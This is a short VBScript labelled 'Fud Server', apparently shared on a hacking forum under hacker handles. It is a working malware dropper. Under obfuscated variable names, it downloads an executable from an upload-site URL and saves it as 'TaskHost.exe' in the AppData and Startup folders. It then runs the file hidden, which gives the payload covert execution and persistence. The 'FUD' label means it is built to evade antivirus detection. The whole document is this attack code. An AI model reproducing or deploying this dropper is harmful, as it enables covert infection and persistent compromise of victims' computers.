Fud Server (vbs)

'Black-Mafia
'Spider-Linux
'Hacker.Kurda@gmail.com
'kurdforums.co
dim EYXISWLVFTZHFFHEEyKWFyNDWuHKFetySFSXJRHF ,startup , eaEYeDFeyYHHYMJiQGCZAJJUNEruRiAOJMBBQWYH
set EYXISWLVFTZHFFHEEyKWFyNDWuHKFetySFSXJRHF = wscript.createobject("wscript.shell")

startup = EYXISWLVFTZHFFHEEyKWFyNDWuHKFetySFSXJRHF.specialfolders ("startup") & "\TaskHost.EXE"

eaEYeDFeyYHHYMJiQGCZAJJUNEruRiAOJMBBQWYH = EYXISWLVFTZHFFHEEyKWFyNDWuHKFetySFSXJRHF.expandenvironmentstrings("%APPDATA%") & "\TaskHost.exe"


 KQKFSLXBZEHNFOPOFGXTWueNPyUBaAFTTEPMrJie = "URL exe : https://www.upload.ee/file.exe "
dim NNyFDHiBztyFzVSKrEAAZWPUaaQViOQQYVBEZORz: Set NNyFDHiBztyFzVSKrEAAZWPUaaQViOQQYVBEZORz = createobject("Microsoft.XMLHTTP")
dim zDIMJairFJBCiMeHGIZNNXreCCLMIyWSJzTerFyE: Set zDIMJairFJBCiMeHGIZNNXreCCLMIyWSJzTerFyE = createobject("Adodb.Stream")
NNyFDHiBztyFzVSKrEAAZWPUaaQViOQQYVBEZORz.Open "GET", KQKFSLXBZEHNFOPOFGXTWueNPyUBaAFTTEPMrJie, False
NNyFDHiBztyFzVSKrEAAZWPUaaQViOQQYVBEZORz.Send

with zDIMJairFJBCiMeHGIZNNXreCCLMIyWSJzTerFyE
    .type = 1
    .open
    .write NNyFDHiBztyFzVSKrEAAZWPUaaQViOQQYVBEZORz.responseBody

.savetofile eaEYeDFeyYHHYMJiQGCZAJJUNEruRiAOJMBBQWYH, 2



    .savetofile startup, 2

    Dim WshShell
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run eaEYeDFeyYHHYMJiQGCZAJJUNEruRiAOJMBBQWYH , 0, false

end with